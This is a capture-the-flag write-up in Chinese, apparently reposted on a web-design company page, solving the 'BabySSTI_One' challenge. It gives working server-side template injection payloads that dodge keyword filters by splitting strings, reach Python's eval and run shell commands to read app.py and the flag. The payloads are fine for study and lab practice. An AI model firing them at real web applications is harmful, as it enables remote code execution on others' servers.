焦作市网站建设_网站建设公司_轮播图_seo优化
2025/12/25 1:49:51 网站建设 项目流程

[NewStarCTF 公开赛赛道]BabySSTI_One WP

image

提示让着 get 一个 name,结果提示里是大写,真正 get 的是一个小写…………卡了我好长时间……

image

?name={{7*7}} 检测,能用 SSTI 注入

image

结果,?name={{"".__class__}} 就被绕过了……

image

那就改改 ?name={{""["__cla"+"ss__"]}} 发现页面正常了,但是回显为空?怎么回事???
去看了看 WP,好像回显都在源码里:
view-source: 可查看源代码

image

那接下来就照常进行:

image

image

image

?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']}}

image

?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']("__import__('os').popen('ls').read()")}}

image

image

这里可以得知,cat 被绕过了,那试试 tac
?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']("__import__('os').popen('ls; tac app.py').read()")}}

image

看到源码,我们知道它具体绕过了什么,但是没找到 flag,只能去根目录里找了 ?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']("__import__('os').popen('ls /;').read()")}}

image

看到 flag_is_here 但是前面我们知道 flag 被绕过了,所以要用 ? 来替换。
?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']("__import__('os').popen('ls /;tac /f?ag_in_here').read()")}}

image

得到 flag。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询